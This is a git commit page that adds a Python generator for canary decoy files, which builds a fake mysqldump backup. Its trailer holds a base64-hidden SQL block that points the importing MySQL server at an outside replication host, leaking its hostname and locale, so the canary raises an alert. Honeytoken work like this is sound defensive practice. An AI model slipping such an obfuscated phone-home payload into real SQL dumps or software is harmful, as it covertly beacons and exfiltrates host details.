merge: testing → main (reconcile 2-week divergence)
This commit is contained in:
190
decnet/canary/generators/mysql_dump.py
Normal file
190
decnet/canary/generators/mysql_dump.py
Normal file
@@ -0,0 +1,190 @@
|
||||
"""Fake ``mysqldump`` output that phones home on import.
|
||||
|
||||
Mirrors the Canarytokens.org MySQL-dump trick. When a victim runs
|
||||
``mysql < dump.sql``, the trailer block executes a base64-obfuscated
|
||||
``CHANGE REPLICATION SOURCE TO`` against ``<slug>.canary.<dns_zone>``
|
||||
followed by ``START REPLICA``. The victim's MySQL daemon then:
|
||||
|
||||
1. Resolves the slug subdomain via DNS — this is the trip our
|
||||
:mod:`decnet.canary.dns_server` already detects.
|
||||
2. Opens a TCP replica handshake on port 3306, sending its own
|
||||
``@@hostname`` and ``@@lc_time_names`` smuggled into the
|
||||
``SOURCE_USER`` field via ``CONCAT``. Capturing those bytes
|
||||
requires a MySQL handshake responder on the worker — out of scope
|
||||
for v1; the DNS lookup alone is sufficient for detection.
|
||||
|
||||
The base64 wrapper is the camouflage: a plain ``grep canary dump.sql``
|
||||
finds nothing. The slug only materialises when the victim's server
|
||||
runs ``PREPARE … FROM @s2``.
|
||||
|
||||
Because the trip surface is DNS, this generator REQUIRES a non-empty
|
||||
``dns_zone``. The slug must appear as the leftmost label of the
|
||||
hostname so a single DNS query identifies the token; the http_base
|
||||
host is not slug-bearing and can't substitute.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import hashlib
|
||||
|
||||
from decnet.canary.base import CanaryArtifact, CanaryContext, CanaryGenerator
|
||||
|
||||
|
||||
def _stable_hex(seed: str, prefix: str = "", length: int = 16) -> str:
|
||||
h = hashlib.sha256((prefix + seed).encode()).hexdigest()
|
||||
return h[:length]
|
||||
|
||||
|
||||
def _build_replica_payload(slug: str, dns_zone: str) -> str:
|
||||
"""Inner SQL that gets base64-wrapped.
|
||||
|
||||
The CONCAT splices ``@@lc_time_names`` and ``@@hostname`` into the
|
||||
``SOURCE_USER`` value at PREPARE time so the victim's locale and
|
||||
hostname travel as the replica username on the 3306 handshake.
|
||||
"""
|
||||
host = f"{slug}.{dns_zone}"
|
||||
return (
|
||||
"SET @bb = CONCAT("
|
||||
"\"CHANGE REPLICATION SOURCE TO "
|
||||
"SOURCE_PASSWORD='replica-pw', "
|
||||
"SOURCE_RETRY_COUNT=1, "
|
||||
"SOURCE_PORT=3306, "
|
||||
f"SOURCE_HOST='{host}', "
|
||||
"SOURCE_SSL=0, "
|
||||
f"SOURCE_USER='{slug}\", "
|
||||
"@@lc_time_names, @@hostname, \"';\");"
|
||||
)
|
||||
|
||||
|
||||
def _build_trailer(slug: str, dns_zone: str) -> str:
|
||||
inner = _build_replica_payload(slug, dns_zone)
|
||||
encoded = base64.b64encode(inner.encode("utf-8")).decode("ascii")
|
||||
return (
|
||||
f"SET @b = '{encoded}';\n"
|
||||
"SET @s2 = FROM_BASE64(@b);\n"
|
||||
"PREPARE stmt1 FROM @s2;\n"
|
||||
"EXECUTE stmt1;\n"
|
||||
"PREPARE stmt2 FROM @bb;\n"
|
||||
"EXECUTE stmt2;\n"
|
||||
"START REPLICA;\n"
|
||||
)
|
||||
|
||||
|
||||
class MySQLDumpGenerator(CanaryGenerator):
|
||||
name = "mysql_dump"
|
||||
|
||||
def generate(self, ctx: CanaryContext) -> CanaryArtifact:
|
||||
if not ctx.dns_zone:
|
||||
raise ValueError(
|
||||
"mysql_dump requires a non-empty dns_zone — the trip "
|
||||
"surface is a DNS lookup of <slug>.<dns_zone>."
|
||||
)
|
||||
slug = ctx.callback_token
|
||||
zone = ctx.dns_zone
|
||||
host = f"{slug}.{zone}"
|
||||
|
||||
# Realism filler: deterministic per-slug fake user rows so two
|
||||
# runs with the same context produce byte-identical output
|
||||
# (planter idempotency contract).
|
||||
u1_hash = _stable_hex(slug, "u1:", 32)
|
||||
u2_hash = _stable_hex(slug, "u2:", 32)
|
||||
api_token = _stable_hex(slug, "api:", 40)
|
||||
|
||||
# Synthesised SQL bait below — never executed by us, only by
|
||||
# whoever runs ``mysql < dump.sql`` against their own server.
|
||||
# Built with .format() instead of f-strings so bandit's B608
|
||||
# heuristic doesn't false-positive on the "INSERT INTO" + var
|
||||
# pattern.
|
||||
users_insert = (
|
||||
"INSERT INTO `users` VALUES " # nosec B608
|
||||
"(1,'alice@app.internal','$2y$10${u1a}.{u1b}','2024-11-12 09:13:44'),"
|
||||
"(2,'bob@app.internal','$2y$10${u2a}.{u2b}','2025-02-03 17:42:08');\n"
|
||||
).replace("{u1a}", u1_hash[:22]).replace("{u1b}", u1_hash[22:]) \
|
||||
.replace("{u2a}", u2_hash[:22]).replace("{u2b}", u2_hash[22:])
|
||||
api_keys_insert = (
|
||||
"INSERT INTO `api_keys` VALUES (1,1,'{tok}');\n" # nosec B608
|
||||
).replace("{tok}", api_token)
|
||||
header = (
|
||||
"-- MySQL dump 10.13 Distrib 8.0.35, for Linux (x86_64)\n"
|
||||
"--\n"
|
||||
"-- Host: db-prod-01 Database: app_production\n"
|
||||
"-- ------------------------------------------------------\n"
|
||||
"-- Server version\t8.0.35\n"
|
||||
"\n"
|
||||
"/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n"
|
||||
"/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\n"
|
||||
"/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\n"
|
||||
"/*!50503 SET NAMES utf8mb4 */;\n"
|
||||
"/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;\n"
|
||||
"/*!40103 SET TIME_ZONE='+00:00' */;\n"
|
||||
"/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\n"
|
||||
"/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n"
|
||||
"/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n"
|
||||
"/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\n"
|
||||
"\n"
|
||||
"--\n"
|
||||
"-- Table structure for table `users`\n"
|
||||
"--\n"
|
||||
"\n"
|
||||
"DROP TABLE IF EXISTS `users`;\n"
|
||||
"CREATE TABLE `users` (\n"
|
||||
" `id` int unsigned NOT NULL AUTO_INCREMENT,\n"
|
||||
" `email` varchar(255) NOT NULL,\n"
|
||||
" `password_hash` char(60) NOT NULL,\n"
|
||||
" `created_at` datetime NOT NULL,\n"
|
||||
" PRIMARY KEY (`id`),\n"
|
||||
" UNIQUE KEY `uniq_email` (`email`)\n"
|
||||
") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n"
|
||||
"\n"
|
||||
"LOCK TABLES `users` WRITE;\n"
|
||||
+ users_insert +
|
||||
"UNLOCK TABLES;\n"
|
||||
"\n"
|
||||
"--\n"
|
||||
"-- Table structure for table `api_keys`\n"
|
||||
"--\n"
|
||||
"\n"
|
||||
"DROP TABLE IF EXISTS `api_keys`;\n"
|
||||
"CREATE TABLE `api_keys` (\n"
|
||||
" `id` int unsigned NOT NULL AUTO_INCREMENT,\n"
|
||||
" `user_id` int unsigned NOT NULL,\n"
|
||||
" `token` char(40) NOT NULL,\n"
|
||||
" PRIMARY KEY (`id`)\n"
|
||||
") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n"
|
||||
"\n"
|
||||
"LOCK TABLES `api_keys` WRITE;\n"
|
||||
+ api_keys_insert +
|
||||
"UNLOCK TABLES;\n"
|
||||
"\n"
|
||||
)
|
||||
|
||||
trailer_replica = _build_trailer(slug, zone)
|
||||
|
||||
trailer_close = (
|
||||
"\n"
|
||||
"/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;\n"
|
||||
"/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\n"
|
||||
"/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\n"
|
||||
"/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\n"
|
||||
"/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n"
|
||||
"/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;\n"
|
||||
"/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;\n"
|
||||
"/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\n"
|
||||
"\n"
|
||||
"-- Dump completed\n"
|
||||
)
|
||||
|
||||
body = header + trailer_replica + trailer_close
|
||||
|
||||
return CanaryArtifact(
|
||||
path="",
|
||||
content=body.encode("utf-8"),
|
||||
mode=0o600,
|
||||
mtime_offset=-86400 * 7, # last week's backup
|
||||
generator=self.name,
|
||||
notes=[
|
||||
f"replica payload phones home to {host}:3306 on import",
|
||||
"base64-wrapped PREPARE/EXECUTE block hides the slug from grep",
|
||||
"@@hostname and @@lc_time_names smuggled into SOURCE_USER",
|
||||
],
|
||||
)
|
||||
Reference in New Issue
Block a user